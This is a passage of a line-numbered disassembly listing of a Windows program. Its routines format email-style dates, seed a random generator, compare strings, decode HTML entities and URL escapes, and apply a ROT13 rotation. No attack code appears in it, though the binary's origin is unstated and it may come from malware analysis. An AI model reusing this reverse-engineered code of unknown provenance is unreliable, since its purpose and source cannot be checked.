  2211.         lea    eax, [ebp+var_234]
  2212.         push    eax
  2213.         movsd
  2214.         call    main
  2215.         add    esp, 10h
  2216.         push    0        ; uExitCode
  2217.         call    ds:ExitProcess
  2218.         int    3        ; Trap to Debugger
  2219. start        endp
  2220.  
  2221.  
  2222. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2223.  
  2224. ; Attributes: bp-based frame
  2225.  
  2226. ; int __cdecl sub_4A40B3(FILETIME *lpFileTime,int)
  2227. sub_4A40B3    proc near        ; CODE XREF: sub_4A74DD+B3p
  2228.  
  2229. TimeZoneInformation= _TIME_ZONE_INFORMATION ptr    -110h
  2230. FileTime    = FILETIME ptr -64h
  2231. var_5C        = dword    ptr -5Ch
  2232. var_58        = dword    ptr -58h
  2233. var_54        = dword    ptr -54h
  2234. var_50        = dword    ptr -50h
  2235. var_4C        = dword    ptr -4Ch
  2236. var_48        = dword    ptr -48h
  2237. var_44        = dword    ptr -44h
  2238. var_40        = dword    ptr -40h
  2239. var_3C        = dword    ptr -3Ch
  2240. var_38        = dword    ptr -38h
  2241. var_34        = dword    ptr -34h
  2242. var_30        = dword    ptr -30h
  2243. var_2C        = dword    ptr -2Ch
  2244. var_28        = dword    ptr -28h
  2245. var_24        = dword    ptr -24h
  2246. var_20        = dword    ptr -20h
  2247. var_1C        = dword    ptr -1Ch
  2248. var_18        = dword    ptr -18h
  2249. var_14        = dword    ptr -14h
  2250. SystemTime    = _SYSTEMTIME ptr -10h
  2251. lpFileTime    = dword    ptr  8
  2252. arg_4        = dword    ptr  0Ch
  2253.  
  2254.         push    ebp
  2255.         mov    ebp, esp
  2256.         sub    esp, 110h
  2257.         push    esi
  2258.         xor    esi, esi
  2259.         cmp    [ebp+lpFileTime], esi
  2260.         mov    [ebp+var_2C], offset aSun ; "Sun"
  2261.         mov    [ebp+var_28], offset aMon ; "Mon"
  2262.         mov    [ebp+var_24], offset aTue ; "Tue"
  2263.         mov    [ebp+var_20], offset aWed ; "Wed"
  2264.         mov    [ebp+var_1C], offset aThu ; "Thu"
  2265.         mov    [ebp+var_18], offset aFri ; "Fri"
  2266.         mov    [ebp+var_14], offset aSat ; "Sat"
  2267.         mov    [ebp+var_5C], offset aJan ; "Jan"
  2268.         mov    [ebp+var_58], offset aFeb ; "Feb"
  2269.         mov    [ebp+var_54], offset aMar ; "Mar"
  2270.         mov    [ebp+var_50], offset aApr ; "Apr"
  2271.         mov    [ebp+var_4C], offset aMay ; "May"
  2272.         mov    [ebp+var_48], offset aJun ; "Jun"
  2273.         mov    [ebp+var_44], offset aJul ; "Jul"
  2274.         mov    [ebp+var_40], offset aAug ; "Aug"
  2275.         mov    [ebp+var_3C], offset aSep ; "Sep"
  2276.         mov    [ebp+var_38], offset aOct ; "Oct"
  2277.         mov    [ebp+var_34], offset aNov ; "Nov"
  2278.         mov    [ebp+var_30], offset aDec ; "Dec"
  2279.         jnz    short loc_4A4155
  2280.         lea    eax, [ebp+SystemTime]
  2281.         push    eax        ; lpSystemTime
  2282.         call    ds:GetLocalTime
  2283.         jmp    short loc_4A4170
  2284. ; ───────────────────────────────────────────────────────────────────────────
  2285.  
  2286. loc_4A4155:                ; CODE XREF: sub_4A40B3+94j
  2287.         lea    eax, [ebp+FileTime]
  2288.         push    eax        ; lpLocalFileTime
  2289.         push    [ebp+lpFileTime] ; lpFileTime
  2290.         call    ds:FileTimeToLocalFileTime
  2291.         lea    eax, [ebp+SystemTime]
  2292.         push    eax        ; lpSystemTime
  2293.         lea    eax, [ebp+FileTime]
  2294.         push    eax        ; lpFileTime
  2295.         call    ds:FileTimeToSystemTime
  2296.  
  2297. loc_4A4170:                ; CODE XREF: sub_4A40B3+A0j
  2298.         lea    eax, [ebp+TimeZoneInformation]
  2299.         mov    [ebp+TimeZoneInformation.Bias],    esi
  2300.         push    eax        ; lpTimeZoneInformation
  2301.         call    ds:GetTimeZoneInformation
  2302.         mov    ecx, [ebp+TimeZoneInformation.Bias]
  2303.         cmp    eax, 2
  2304.         jnz    short loc_4A4193
  2305.         mov    eax, [ebp+TimeZoneInformation.DaylightBias]
  2306.         add    ecx, eax
  2307.  
  2308. loc_4A4193:                ; CODE XREF: sub_4A40B3+D9j
  2309.         neg    ecx
  2310.         mov    eax, ecx
  2311.         jns    short loc_4A419B
  2312.         neg    eax
  2313.  
  2314. loc_4A419B:                ; CODE XREF: sub_4A40B3+E4j
  2315.         cmp    [ebp+SystemTime.wDayOfWeek], 6
  2316.         jbe    short loc_4A41A8
  2317.         mov    [ebp+SystemTime.wDayOfWeek], 6
  2318.  
  2319. loc_4A41A8:                ; CODE XREF: sub_4A40B3+EDj
  2320.         cmp    [ebp+SystemTime.wMonth], si
  2321.         jnz    short loc_4A41B4
  2322.         mov    [ebp+SystemTime.wMonth], 1
  2323.  
  2324. loc_4A41B4:                ; CODE XREF: sub_4A40B3+F9j
  2325.         cmp    [ebp+SystemTime.wMonth], 0Ch
  2326.         jbe    short loc_4A41C1
  2327.         mov    [ebp+SystemTime.wMonth], 0Ch
  2328.  
  2329. loc_4A41C1:                ; CODE XREF: sub_4A40B3+106j
  2330.         cmp    ecx, esi
  2331.         mov    ecx, offset asc_4A2538 ; "+"
  2332.         jge    short loc_4A41CF
  2333.         mov    ecx, offset asc_4A2534 ; "-"
  2334.  
  2335. loc_4A41CF:                ; CODE XREF: sub_4A40B3+115j
  2336.         push    3Ch
  2337.         cdq
  2338.         pop    esi
  2339.         idiv    esi
  2340.         push    edx
  2341.         push    eax
  2342.         movzx    eax, [ebp+SystemTime.wSecond]
  2343.         push    ecx
  2344.         push    eax
  2345.         movzx    eax, [ebp+SystemTime.wMinute]
  2346.         push    eax
  2347.         movzx    eax, [ebp+SystemTime.wHour]
  2348.         push    eax
  2349.         movzx    eax, [ebp+SystemTime.wYear]
  2350.         push    eax
  2351.         movzx    eax, [ebp+SystemTime.wMonth]
  2352.         push    [ebp+eax*4+FileTime.dwHighDateTime]
  2353.         movzx    eax, [ebp+SystemTime.wDay]
  2354.         push    eax
  2355.         movzx    eax, [ebp+SystemTime.wDayOfWeek]
  2356.         push    [ebp+eax*4+var_2C]
  2357.         push    offset aSUSU_2u_2u_2uS ; "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u"
  2358.         push    [ebp+arg_4]
  2359.         call    ds:wsprintfA
  2360.         add    esp, 30h
  2361.         pop    esi
  2362.         leave
  2363.         retn
  2364. sub_4A40B3    endp
  2365.  
  2366.  
  2367. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2368.  
  2369.  
  2370. sub_4A4215    proc near        ; CODE XREF: start+Bp
  2371.         call    ds:GetTickCount
  2372.         mov    ds:dword_4A81B0, eax
  2373.         retn
  2374. sub_4A4215    endp
  2375.  
  2376.  
  2377. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2378.  
  2379.  
  2380. sub_4A4221    proc near        ; CODE XREF: StartAddress+CEp
  2381.                     ; StartAddress+F3p ...
  2382.         mov    eax, ds:dword_4A81B0
  2383.         imul    eax, 15A4E35h
  2384.         inc    eax
  2385.         mov    ds:dword_4A81B0, eax
  2386.         mov    ax, word ptr ds:dword_4A81B0+2
  2387.         retn
  2388. sub_4A4221    endp
  2389.  
  2390.  
  2391. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2392.  
  2393.  
  2394. sub_4A4239    proc near        ; CODE XREF: sub_4A586A+28p
  2395.                     ; sub_4A6CDE+36p ...
  2396.         call    sub_4A4221
  2397.         movzx    ecx, ax
  2398.         shl    ecx, 10h
  2399.         call    sub_4A4221
  2400.         movzx    eax, ax
  2401.         or    eax, ecx
  2402.         retn
  2403. sub_4A4239    endp
  2404.  
  2405.  
  2406. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2407.  
  2408.  
  2409. sub_4A424F    proc near        ; CODE XREF: sub_4A551A+6Ap
  2410.                     ; sub_4A551A+96p ...
  2411.  
  2412. arg_0        = dword    ptr  4
  2413. arg_4        = dword    ptr  8
  2414.  
  2415.         mov    eax, [esp+arg_0]
  2416.         push    esi
  2417.         jmp    short loc_4A427B
  2418. ; ───────────────────────────────────────────────────────────────────────────
  2419.  
  2420. loc_4A4256:                ; CODE XREF: sub_4A424F+30j
  2421.         mov    edx, [esp+4+arg_4]
  2422.         mov    esi, eax
  2423.         test    cl, cl
  2424.         jz    short loc_4A4271
  2425.  
  2426. loc_4A4260:                ; CODE XREF: sub_4A424F+20j
  2427.         mov    cl, [edx]
  2428.         test    cl, cl
  2429.         jz    short loc_4A4271
  2430.         cmp    [esi], cl
  2431.         jnz    short loc_4A4271
  2432.         inc    esi
  2433.         inc    edx
  2434.         cmp    byte ptr [esi],    0
  2435.         jnz    short loc_4A4260
  2436.  
  2437. loc_4A4271:                ; CODE XREF: sub_4A424F+Fj
  2438.                     ; sub_4A424F+15j ...
  2439.         cmp    esi, edx
  2440.         jz    short loc_4A4283
  2441.         cmp    byte ptr [edx],    0
  2442.         jz    short loc_4A4283
  2443.         inc    eax
  2444.  
  2445. loc_4A427B:                ; CODE XREF: sub_4A424F+5j
  2446.         mov    cl, [eax]
  2447.         test    cl, cl
  2448.         jnz    short loc_4A4256
  2449.         xor    eax, eax
  2450.  
  2451. loc_4A4283:                ; CODE XREF: sub_4A424F+24j
  2452.                     ; sub_4A424F+29j
  2453.         pop    esi
  2454.         retn
  2455. sub_4A424F    endp
  2456.  
  2457.  
  2458. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2459.  
  2460.  
  2461. sub_4A4285    proc near        ; CODE XREF: sub_4A45E3+2Fp
  2462.                     ; sub_4A45E3+57p ...
  2463.  
  2464. arg_0        = dword    ptr  4
  2465. arg_4        = byte ptr  8
  2466.  
  2467.         mov    eax, [esp+arg_0]
  2468.         jmp    short loc_4A4292
  2469. ; ───────────────────────────────────────────────────────────────────────────
  2470.  
  2471. loc_4A428B:                ; CODE XREF: sub_4A4285+11j
  2472.         cmp    cl, [esp+arg_4]
  2473.         jz    short loc_4A4298
  2474.         inc    eax
  2475.  
  2476. loc_4A4292:                ; CODE XREF: sub_4A4285+4j
  2477.         mov    cl, [eax]
  2478.         test    cl, cl
  2479.         jnz    short loc_4A428B
  2480.  
  2481. loc_4A4298:                ; CODE XREF: sub_4A4285+Aj
  2482.         mov    cl, [eax]
  2483.         sub    cl, [esp+arg_4]
  2484.         neg    cl
  2485.         sbb    ecx, ecx
  2486.         not    ecx
  2487.         and    eax, ecx
  2488.         retn
  2489. sub_4A4285    endp
  2490.  
  2491.  
  2492. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2493.  
  2494. ; Attributes: bp-based frame
  2495.  
  2496. sub_4A42A7    proc near        ; CODE XREF: sub_4A5CE7+56p
  2497.  
  2498. var_4        = dword    ptr -4
  2499. arg_0        = dword    ptr  8
  2500. arg_4        = dword    ptr  0Ch
  2501. arg_8        = dword    ptr  10h
  2502.  
  2503.         push    ebp
  2504.         mov    ebp, esp
  2505.         push    ecx
  2506.         cmp    [ebp+arg_8], 0
  2507.         push    ebx
  2508.         push    esi
  2509.         push    edi
  2510.         jz    short loc_4A42E5
  2511.         mov    esi, ds:tolower
  2512.         mov    ebx, [ebp+arg_4]
  2513.  
  2514. loc_4A42BD:                ; CODE XREF: sub_4A42A7+3Cj
  2515.         mov    eax, [ebp+arg_0]
  2516.         dec    [ebp+arg_8]
  2517.         movzx    edi, byte ptr [eax]
  2518.         movzx    eax, byte ptr [ebx]
  2519.         push    eax
  2520.         call    esi ; tolower
  2521.         push    edi
  2522.         mov    [ebp+var_4], eax
  2523.         call    esi ; tolower
  2524.         pop    ecx
  2525.         inc    ebx
  2526.         inc    [ebp+arg_0]
  2527.         pop    ecx
  2528.         mov    ecx, [ebp+var_4]
  2529.         cmp    eax, ecx
  2530.         jnz    short loc_4A42EC
  2531.         cmp    [ebp+arg_8], 0
  2532.         jnz    short loc_4A42BD
  2533.  
  2534. loc_4A42E5:                ; CODE XREF: sub_4A42A7+Bj
  2535.         xor    eax, eax
  2536.  
  2537. loc_4A42E7:                ; CODE XREF: sub_4A42A7+48j
  2538.         pop    edi
  2539.         pop    esi
  2540.         pop    ebx
  2541.         leave
  2542.         retn
  2543. ; ───────────────────────────────────────────────────────────────────────────
  2544.  
  2545. loc_4A42EC:                ; CODE XREF: sub_4A42A7+36j
  2546.         xor    eax, eax
  2547.         inc    eax
  2548.         jmp    short loc_4A42E7
  2549. sub_4A42A7    endp
  2550.  
  2551.  
  2552. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2553.  
  2554. ; Attributes: bp-based frame
  2555.  
  2556. sub_4A42F1    proc near        ; CODE XREF: sub_4A55D4+85p
  2557.                     ; sub_4A55D4+CCp ...
  2558.  
  2559. arg_0        = dword    ptr  8
  2560. arg_4        = dword    ptr  0Ch
  2561. arg_8        = dword    ptr  10h
  2562.  
  2563.         push    ebp
  2564.         mov    ebp, esp
  2565.         cmp    [ebp+arg_8], 0
  2566.         jnz    short loc_4A42FE
  2567.         xor    eax, eax
  2568.         pop    ebp
  2569.         retn
  2570. ; ───────────────────────────────────────────────────────────────────────────
  2571.  
  2572. loc_4A42FE:                ; CODE XREF: sub_4A42F1+7j
  2573.         mov    ecx, [ebp+arg_0]
  2574.         mov    edx, [ebp+arg_4]
  2575.  
  2576. loc_4A4304:                ; CODE XREF: sub_4A42F1+24j
  2577.         dec    [ebp+arg_8]
  2578.         jz    short loc_4A4317
  2579.         mov    al, [ecx]
  2580.         test    al, al
  2581.         jz    short loc_4A4317
  2582.         cmp    al, [edx]
  2583.         jnz    short loc_4A4317
  2584.         inc    ecx
  2585.         inc    edx
  2586.         jmp    short loc_4A4304
  2587. ; ───────────────────────────────────────────────────────────────────────────
  2588.  
  2589. loc_4A4317:                ; CODE XREF: sub_4A42F1+16j
  2590.                     ; sub_4A42F1+1Cj ...
  2591.         movzx    eax, byte ptr [ecx]
  2592.         movzx    ecx, byte ptr [edx]
  2593.         sub    eax, ecx
  2594.         pop    ebp
  2595.         retn
  2596. sub_4A42F1    endp
  2597.  
  2598.  
  2599. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2600.  
  2601. ; Attributes: bp-based frame
  2602.  
  2603. ; int __cdecl sub_4A4321(const WCHAR WideCharStr)
  2604. sub_4A4321    proc near        ; CODE XREF: sub_4A5CE7+CDp
  2605.  
  2606. String        = byte ptr -24h
  2607. var_23        = byte ptr -23h
  2608. var_10        = dword    ptr -10h
  2609. var_C        = dword    ptr -0Ch
  2610. var_8        = dword    ptr -8
  2611. var_4        = dword    ptr -4
  2612. WideCharStr    = word ptr  8
  2613.  
  2614.         push    ebp
  2615.         mov    ebp, esp
  2616.         sub    esp, 24h
  2617.         push    esi
  2618.         push    edi
  2619.         mov    edi, dword ptr [ebp+WideCharStr]
  2620.         xor    esi, esi
  2621.         mov    [ebp+var_8], esi
  2622.         cmp    byte ptr [edi],    0
  2623.         jz    loc_4A4482
  2624.         push    ebx
  2625.  
  2626. loc_4A433B:                ; CODE XREF: sub_4A4321+15Aj
  2627.         cmp    byte ptr [esi+edi], 26h
  2628.         jnz    loc_4A4476
  2629.         mov    [ebp+var_4], esi
  2630.         inc    esi
  2631.         cmp    byte ptr [esi+edi], 23h
  2632.         jnz    loc_4A4476
  2633.         xor    ebx, ebx
  2634.         inc    esi
  2635.  
  2636. loc_4A4356:                ; CODE XREF: sub_4A4321+51j
  2637.         movsx    eax, byte ptr [esi+edi]
  2638.         push    eax
  2639.         call    ds:isdigit
  2640.         test    eax, eax
  2641.         pop    ecx
  2642.         jz    short loc_4A4374
  2643.         mov    al, [esi+edi]
  2644.         mov    [ebp+ebx+String], al
  2645.         inc    ebx
  2646.         inc    esi
  2647.         cmp    ebx, 0Fh
  2648.         jb    short loc_4A4356
  2649.  
  2650. loc_4A4374:                ; CODE XREF: sub_4A4321+43j
  2651.         and    [ebp+ebx+String], 0
  2652.         xor    ecx, ecx
  2653.         cmp    [ebp+String], cl
  2654.         mov    dword ptr [ebp+WideCharStr], ecx
  2655.         jz    short loc_4A4399
  2656.         lea    eax, [ebp+String]
  2657.  
  2658. loc_4A4386:                ; CODE XREF: sub_4A4321+73j
  2659.         movsx    edx, byte ptr [eax]
  2660.         inc    eax
  2661.         lea    ecx, [ecx+ecx*4]
  2662.         cmp    byte ptr [eax],    0
  2663.         lea    ecx, [edx+ecx*2-30h]
  2664.         jnz    short loc_4A4386
  2665.         mov    dword ptr [ebp+WideCharStr], ecx
  2666.  
  2667. loc_4A4399:                ; CODE XREF: sub_4A4321+60j
  2668.         cmp    byte ptr [esi+edi], 3Bh
  2669.         jnz    short loc_4A43A0
  2670.         inc    esi
  2671.  
  2672. loc_4A43A0:                ; CODE XREF: sub_4A4321+7Cj
  2673.         test    ecx, ecx
  2674.         jle    loc_4A4476
  2675.         xor    ebx, ebx
  2676.         push    14h
  2677.         lea    eax, [ebp+String]
  2678.         push    ebx
  2679.         push    eax
  2680.         call    memset
  2681.         mov    eax, dword ptr [ebp+WideCharStr]
  2682.         add    esp, 0Ch
  2683.         cmp    eax, 100h
  2684.         jge    short loc_4A43CB
  2685.         and    [ebp+var_23], bl
  2686.         mov    [ebp+String], al
  2687.         jmp    short loc_4A43E1
  2688. ; ───────────────────────────────────────────────────────────────────────────
  2689.  
  2690. loc_4A43CB:                ; CODE XREF: sub_4A4321+A0j
  2691.         push    ebx        ; lpUsedDefaultChar
  2692.         push    ebx        ; lpDefaultChar
  2693.         lea    eax, [ebp+String]
  2694.         push    14h        ; cchMultiByte
  2695.         push    eax        ; lpMultiByteStr
  2696.         lea    eax, [ebp+WideCharStr]
  2697.         push    1        ; cchWideChar
  2698.         push    eax        ; lpWideCharStr
  2699.         push    ebx        ; dwFlags
  2700.         push    ebx        ; CodePage
  2701.         call    ds:WideCharToMultiByte
  2702.  
  2703. loc_4A43E1:                ; CODE XREF: sub_4A4321+A8j
  2704.         cmp    [ebp+String], 0
  2705.         jz    loc_4A4476
  2706.         mov    ebx, [ebp+var_4]
  2707.         lea    eax, [ebp+String]
  2708.         sub    esi, ebx
  2709.         push    eax        ; lpString
  2710.         mov    [ebp+var_C], esi
  2711.         call    ds:lstrlenA
  2712.         cmp    esi, eax
  2713.         mov    [ebp+var_10], eax
  2714.         jz    short loc_4A4455
  2715.         mov    ecx, [ebp+var_4]
  2716.         add    esi, ebx
  2717.         push    edi        ; lpString
  2718.         lea    ebx, [esi+edi]
  2719.         lea    esi, [eax+ecx]
  2720.         add    esi, edi
  2721.         call    ds:lstrlenA
  2722.         mov    ecx, edi
  2723.         sub    ecx, ebx
  2724.         cmp    esi, ebx
  2725.         lea    ecx, [eax+ecx+1]
  2726.         jnb    short loc_4A443F
  2727.         xor    esi, esi
  2728.         test    ecx, ecx
  2729.         jle    short loc_4A4455
  2730.         mov    eax, ebx
  2731.         sub    eax, [ebp+var_C]
  2732.         add    eax, [ebp+var_10]
  2733.  
  2734. loc_4A4432:                ; CODE XREF: sub_4A4321+11Aj
  2735.         mov    dl, [ebx+esi]
  2736.         mov    [eax], dl
  2737.         inc    eax
  2738.         inc    esi
  2739.         cmp    esi, ecx
  2740.         jl    short loc_4A4432
  2741.         jmp    short loc_4A4455
  2742. ; ───────────────────────────────────────────────────────────────────────────
  2743.  
  2744. loc_4A443F:                ; CODE XREF: sub_4A4321+101j
  2745.         lea    eax, [ecx-1]
  2746.         test    eax, eax
  2747.         jl    short loc_4A4455
  2748.         lea    ecx, [esi+eax]
  2749.         sub    ebx, esi
  2750.         inc    eax
  2751.  
  2752. loc_4A444C:                ; CODE XREF: sub_4A4321+132j
  2753.         mov    dl, [ebx+ecx]
  2754.         mov    [ecx], dl
  2755.         dec    ecx
  2756.         dec    eax
  2757.         jnz    short loc_4A444C
  2758.  
  2759. loc_4A4455:                ; CODE XREF: sub_4A4321+E1j
  2760.                     ; sub_4A4321+107j ...
  2761.         lea    eax, [ebp+String]
  2762.         push    eax        ; lpString
  2763.         call    ds:lstrlenA
  2764.         mov    esi, [ebp+var_4]
  2765.         push    eax
  2766.         lea    eax, [ebp+String]
  2767.         push    eax
  2768.         lea    eax, [esi+edi]
  2769.         push    eax
  2770.         call    memcpy
  2771.         add    esp, 0Ch
  2772.         inc    [ebp+var_8]
  2773.  
  2774. loc_4A4476:                ; CODE XREF: sub_4A4321+1Ej
  2775.                     ; sub_4A4321+2Cj ...
  2776.         inc    esi
  2777.         cmp    byte ptr [esi+edi], 0
  2778.         jnz    loc_4A433B
  2779.         pop    ebx
  2780.  
  2781. loc_4A4482:                ; CODE XREF: sub_4A4321+13j
  2782.         mov    eax, [ebp+var_8]
  2783.         pop    edi
  2784.         pop    esi
  2785.         leave
  2786.         retn
  2787. sub_4A4321    endp
  2788.  
  2789.  
  2790. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2791.  
  2792. ; Attributes: bp-based frame
  2793.  
  2794. sub_4A4489    proc near        ; CODE XREF: sub_4A5CE7+D6p
  2795.  
  2796. String        = byte ptr -18h
  2797. var_17        = byte ptr -17h
  2798. var_16        = byte ptr -16h
  2799. var_4        = dword    ptr -4
  2800. arg_0        = dword    ptr  8
  2801.  
  2802.         push    ebp
  2803.         mov    ebp, esp
  2804.         sub    esp, 18h
  2805.         push    esi
  2806.         push    edi
  2807.         mov    edi, [ebp+arg_0]
  2808.         xor    esi, esi
  2809.         mov    [ebp+var_4], esi
  2810.         cmp    byte ptr [edi],    0
  2811.         jz    loc_4A45BD
  2812.         push    ebx
  2813.  
  2814. loc_4A44A3:                ; CODE XREF: sub_4A4489+12Dj
  2815.         cmp    byte ptr [esi+edi], 25h
  2816.         jnz    loc_4A45B1
  2817.         movsx    eax, byte ptr [edi+esi+1]
  2818.         mov    ebx, ds:isxdigit
  2819.         push    eax
  2820.         mov    [ebp+arg_0], esi
  2821.         call    ebx ; isxdigit
  2822.         test    eax, eax
  2823.         pop    ecx
  2824.         jz    loc_4A45B1
  2825.         inc    esi
  2826.         movsx    eax, byte ptr [esi+edi]
  2827.         push    eax
  2828.         call    ds:toupper
  2829.         mov    [ebp+String], al
  2830.         movsx    eax, byte ptr [edi+esi+1]
  2831.         push    eax
  2832.         call    ebx ; isxdigit
  2833.         pop    ecx
  2834.         test    eax, eax
  2835.         pop    ecx
  2836.         jz    loc_4A45B1
  2837.         inc    esi
  2838.         movsx    eax, byte ptr [esi+edi]
  2839.         push    eax
  2840.         call    ds:toupper
  2841.         and    [ebp+var_16], 0
  2842.         inc    esi
  2843.         cmp    al, 41h
  2844.         pop    ecx
  2845.         mov    [ebp+var_17], al
  2846.         jl    short loc_4A450D
  2847.         cmp    al, 5Ah
  2848.         jg    short loc_4A450D
  2849.         movsx    ecx, al
  2850.         sub    ecx, 37h
  2851.         jmp    short loc_4A4513
  2852. ; ───────────────────────────────────────────────────────────────────────────
  2853.  
  2854. loc_4A450D:                ; CODE XREF: sub_4A4489+76j
  2855.                     ; sub_4A4489+7Aj
  2856.         movsx    ecx, al
  2857.         sub    ecx, 30h
  2858.  
  2859. loc_4A4513:                ; CODE XREF: sub_4A4489+82j
  2860.         mov    al, [ebp+String]
  2861.         cmp    al, 41h
  2862.         jl    short loc_4A4526
  2863.         cmp    al, 5Ah
  2864.         jg    short loc_4A4526
  2865.         movsx    eax, al
  2866.         sub    eax, 37h
  2867.         jmp    short loc_4A452C
  2868. ; ───────────────────────────────────────────────────────────────────────────
  2869.  
  2870. loc_4A4526:                ; CODE XREF: sub_4A4489+8Fj
  2871.                     ; sub_4A4489+93j
  2872.         movsx    eax, al
  2873.         sub    eax, 30h
  2874.  
  2875. loc_4A452C:                ; CODE XREF: sub_4A4489+9Bj
  2876.         shl    eax, 4
  2877.         add    ecx, eax
  2878.         test    ecx, ecx
  2879.         jle    short loc_4A45B1
  2880.         mov    ebx, [ebp+arg_0]
  2881.         and    [ebp+var_17], 0
  2882.         lea    eax, [ebp+String]
  2883.         mov    [ebp+String], cl
  2884.         push    eax        ; lpString
  2885.         sub    esi, ebx
  2886.         call    ds:lstrlenA
  2887.         cmp    esi, eax
  2888.         jz    short loc_4A4590
  2889.         add    eax, ebx
  2890.         add    esi, ebx
  2891.         push    edi        ; lpString
  2892.         add    esi, edi
  2893.         lea    ebx, [eax+edi]
  2894.         call    ds:lstrlenA
  2895.         mov    ecx, edi
  2896.         sub    ecx, esi
  2897.         cmp    ebx, esi
  2898.         lea    eax, [eax+ecx+1]
  2899.         jnb    short loc_4A457C
  2900.         test    eax, eax
  2901.         jle    short loc_4A4590
  2902.         sub    ebx, esi
  2903.  
  2904. loc_4A4571:                ; CODE XREF: sub_4A4489+EFj
  2905.         mov    cl, [esi]
  2906.         mov    [ebx+esi], cl
  2907.         inc    esi
  2908.         dec    eax
  2909.         jnz    short loc_4A4571
  2910.         jmp    short loc_4A4590
  2911. ; ───────────────────────────────────────────────────────────────────────────
  2912.  
  2913. loc_4A457C:                ; CODE XREF: sub_4A4489+E0j
  2914.         dec    eax
  2915.         test    eax, eax
  2916.         jl    short loc_4A4590
  2917.         lea    ecx, [eax+ebx]
  2918.         sub    esi, ebx
  2919.         inc    eax
  2920.  
  2921. loc_4A4587:                ; CODE XREF: sub_4A4489+105j
  2922.         mov    dl, [esi+ecx]
  2923.         mov    [ecx], dl
  2924.         dec    ecx
  2925.         dec    eax
  2926.         jnz    short loc_4A4587
  2927.  
  2928. loc_4A4590:                ; CODE XREF: sub_4A4489+C4j
  2929.                     ; sub_4A4489+E4j ...
  2930.         lea    eax, [ebp+String]
  2931.         push    eax        ; lpString
  2932.         call    ds:lstrlenA
  2933.         mov    esi, [ebp+arg_0]
  2934.         push    eax
  2935.         lea    eax, [ebp+String]
  2936.         push    eax
  2937.         lea    eax, [esi+edi]
  2938.         push    eax
  2939.         call    memcpy
  2940.         add    esp, 0Ch
  2941.         inc    [ebp+var_4]
  2942.  
  2943. loc_4A45B1:                ; CODE XREF: sub_4A4489+1Ej
  2944.                     ; sub_4A4489+38j ...
  2945.         inc    esi
  2946.         cmp    byte ptr [esi+edi], 0
  2947.         jnz    loc_4A44A3
  2948.         pop    ebx
  2949.  
  2950. loc_4A45BD:                ; CODE XREF: sub_4A4489+13j
  2951.         mov    eax, [ebp+var_4]
  2952.         pop    edi
  2953.         pop    esi
  2954.         leave
  2955.         retn
  2956. sub_4A4489    endp
  2957.  
  2958.  
  2959. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2960.  
  2961.  
  2962. ; int __cdecl sub_4A45C4(LPCSTR    lpString,LPCSTR,char arglist)
  2963. sub_4A45C4    proc near        ; CODE XREF: sub_4A74DD+E6p
  2964.                     ; sub_4A75FD+4Bp ...
  2965.  
  2966. lpString    = dword    ptr  4
  2967. arg_4        = dword    ptr  8
  2968. arglist        = byte ptr  0Ch
  2969.  
  2970.         lea    eax, [esp+arglist]
  2971.         push    eax        ; arglist
  2972.         push    [esp+4+arg_4]    ; LPCSTR
  2973.         push    [esp+8+lpString] ; lpString
  2974.         call    ds:lstrlenA
  2975.         add    eax, [esp+8+lpString]
  2976.         push    eax        ; LPSTR
  2977.         call    ds:wvsprintfA
  2978.         retn
  2979. sub_4A45C4    endp
  2980.  
  2981.  
  2982. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2983.  
  2984. ; Attributes: bp-based frame
  2985.  
  2986. sub_4A45E3    proc near        ; CODE XREF: sub_4A465E+11p
  2987.  
  2988. var_38        = byte ptr -38h
  2989. var_1C        = byte ptr -1Ch
  2990. arg_0        = dword    ptr  8
  2991.  
  2992.         push    ebp
  2993.         mov    ebp, esp
  2994.         sub    esp, 38h
  2995.         push    esi
  2996.         push    edi
  2997.         push    6
  2998.         mov    esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  2999.         pop    ecx
  3000.         lea    edi, [ebp+var_1C]
  3001.         repe movsd
  3002.         movsw
  3003.         movsb
  3004.         push    6
  3005.         mov    esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
  3006.         pop    ecx
  3007.         lea    edi, [ebp+var_38]
  3008.         repe movsd
  3009.         push    [ebp+arg_0]
  3010.         lea    eax, [ebp+var_1C]
  3011.         movsw
  3012.         push    eax
  3013.         movsb
  3014.         call    sub_4A4285
  3015.         pop    ecx
  3016.         pop    ecx
  3017.         pop    edi
  3018.         test    eax, eax
  3019.         pop    esi
  3020.         jz    short loc_4A4633
  3021.         lea    ecx, [ebp+var_1C]
  3022.         push    1Ah
  3023.         sub    eax, ecx
  3024.         pop    ecx
  3025.         add    eax, 0Dh
  3026.         cdq
  3027.         idiv    ecx
  3028.         mov    al, [ebp+edx+var_1C]
  3029.         leave
  3030.         retn
  3031. ; ───────────────────────────────────────────────────────────────────────────
  3032.  
  3033. loc_4A4633:                ; CODE XREF: sub_4A45E3+3Aj
  3034.         push    [ebp+arg_0]
  3035.         lea    eax, [ebp+var_38]
  3036.         push    eax
  3037.         call    sub_4A4285
  3038.         pop    ecx
  3039.         test    eax, eax
  3040.         pop    ecx
  3041.         jz    short loc_4A4659
  3042.         lea    ecx, [ebp+var_38]
  3043.         push    1Ah
  3044.         sub    eax, ecx
  3045.         pop    ecx
  3046.         add    eax, 0Dh
  3047.         cdq
  3048.         idiv    ecx
  3049.         mov    al, [ebp+edx+var_38]
  3050.         leave
  3051.         retn
  3052. ; ───────────────────────────────────────────────────────────────────────────
  3053.  
  3054. loc_4A4659:                ; CODE XREF: sub_4A45E3+60j
  3055.         mov    al, byte ptr [ebp+arg_0]
  3056.         leave
  3057.         retn
  3058. sub_4A45E3    endp
  3059.  
  3060.  
  3061. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  3062.  
  3063.  
